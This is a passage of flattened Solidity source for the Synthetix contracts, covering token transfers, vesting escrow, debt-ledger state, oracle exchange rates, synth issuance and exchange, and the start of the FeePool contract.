require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) {
using SafeMath for uint;
Synthetix public synthetix;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Synthetix _synthetix)
Owned(_owner)
public
{
synthetix = _synthetix;
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
emit SynthetixUpdated(_synthetix);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawSynthetix(uint quantity)
external
onlyOwner
onlyDuringSetup
{
synthetix.transfer(synthetix, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = totalVestedBalance.add(quantity);
require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalVestedBalance = totalVestedBalance.sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);
synthetix.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event SynthetixUpdated(address newSynthetix);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
uint newInverseRate = rates[currencyKey];
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
FeePool public feePool;
SynthetixEscrow public escrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, FeePool _feePool
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
emitSynthAdded(currencyKey, synth);
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
emitSynthRemoved(currencyKey, synthToRemove);
}
function setEscrow(SynthetixEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setSynthetixState(SynthetixState _synthetixState)
external
optionalProxy_onlyOwner
{
synthetixState = _synthetixState;
emitStateContractChanged(_synthetixState);
}
function setPreferredCurrency(bytes4 currencyKey)
external
optionalProxy
{
require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist.");
synthetixState.setPreferredCurrency(messageSender, currencyKey);
emitPreferredCurrencyChanged(messageSender, currencyKey);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableCurrencyKeys()
internal
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
nonZeroAmount(amount)
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debt = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToBurn = debt < amount ? debt : amount;
_removeFromDebtRegister(currencyKey, amountToBurn);
synths[currencyKey].burn(messageSender, amountToBurn);
}
function _removeFromDebtRegister(bytes4 currencyKey, uint amount)
internal
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency);
bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)");
function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal {
proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0);
}
event StateContractChanged(address stateContract);
bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)");
function emitStateContractChanged(address stateContract) internal {
proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0);
}
event SynthAdded(bytes4 currencyKey, address newSynth);
bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)");
function emitSynthAdded(bytes4 currencyKey, address newSynth) internal {
proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0);
}
event SynthRemoved(bytes4 currencyKey, address removedSynth);
bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)");
function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal {
proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0);
}
}
contract FeePool is Proxyable, SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
